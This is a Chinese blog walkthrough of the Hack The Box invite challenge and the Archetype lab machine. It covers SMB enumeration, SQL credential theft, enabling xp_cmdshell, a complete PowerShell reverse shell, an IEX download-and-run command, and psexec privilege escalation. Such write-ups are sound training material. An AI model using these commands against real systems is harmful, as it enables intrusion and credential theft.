Hack The Box是一个在线平台,允许您测试您的渗透测试技能,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战。其中一些模拟真实场景,其中一些更倾向于CTF风格的挑战。
注册账号需要一个邀请码。
在有一天闲来无事时,在逛Parrot官网时,发现HacktheBox和parrot合作了,就访问了一下Hackthebox的官网,发现需要注册,本着没事闲的理论,就开始了。
访问官网,点击登录,发现需要提交一个邀请码才可以注册。
根据页面提示,应该是从该登录页面中寻找相关内容。
首先查看js代码,发现其中有一个api接口,点击查看。
发现提示,存在混淆。
发现一个函数,在页面中执行此函数查看效果。
发现回显了rot13的加密字符串,使用rot13进行解密,尝试发现,有时为base64,有时为rot13。
解密后得到
In order to generate the invite code,
make a POST request to /api/invite/generate。
使用hackbar或者其他工具发送POST包。
得到加密后的邀请码
进行解码
得到邀请码。
进行注册登录。
登录之后发现存在一个练习教程,尝试练习。
发现首先需要使用openvpn进行连接,接入靶机内网环境。
官方推荐的是使用kali或者parrot系统进行攻击,因为集成了各种工具。
我这里使用的是kali,根据官方说明,需要使用openvpn进行连接。
使用
sudo openvpn example.ovpn
进行执行,其中example.ovpn为登录后下载的文件名称。
运行后,查看攻击机ip,发现多了一张网卡,已连接到服务器。
使用nmap进行扫描。
nmap -sC -sV -p 1-65535 -v 3 10.10.10.27
发现445、1433端口打开了,并且SMB与SQL Server相关联。
然后去查看一下文件共享目录是否开启,并且是否存在敏感信息。
使用
smbclient -N -L \\\\10.10.10.27\\
发现存在一个backups,进行查看一下是否存在敏感信息。
smbclient -N \\\\10.10.10.27\\backups
发现存在有一个dtsConfig文件,它是与SSIS一起使用的配置文件。
下载查看文件内容。
get prod.dtsConfig
发现其中包含一个SQL连接字符串,其中包含本地Windows用户的凭据ARCHETYPE\sql_svc。
接下来尝试使用impacket(Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议(例如SMB1-3和MSRPC),协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。)中的mssqlclient.py连接到目标的SQL Server。
mssqlclient.py ARCHETYPE/[email protected] -windows-auth
输入刚刚文件中的用户密码。
我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。
SELECT IS_SRVROLEMEMBER('sysadmin');
发现回显为1,证明具有sysadmin特权。
输入命令xp_cmdshell在主机上启用并获得RCE。
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
发现该用户并不是管理权限。
可以尝试获得适当的外壳,然后继续进一步枚举系统。将PowerShell反向外壳另存为shell.ps1。
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.82",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
其中10.10.14.82为自己攻击机ip。
接下来,可以使用Python搭建一个小型网络服务器以托管文件。
在端口443上建立一个netcat侦听器后,我们可以使用ufw允许端口80和443上的回调到攻击机。
nc -lvnp 443
ufw allow from 10.10.10.27 proto tcp to any port 80,443
接下来通过xp_cmdshell下载并执行反向Shell。
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.82/shell.ps1\");"
搭建的文件服务器收到下载请求。
并收到shell。
收到的外壳程序为sql_svc,可以在其桌面上获取user.txt。
由于这既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令。可以使用下面的命令访问PowerShell历史记录文件。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得特权外壳。
psexec.py [email protected]
其中密码为刚刚获取凭证的密码。
接下来获取system用户目录下,获取system.txt即可。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
我知道你在看哟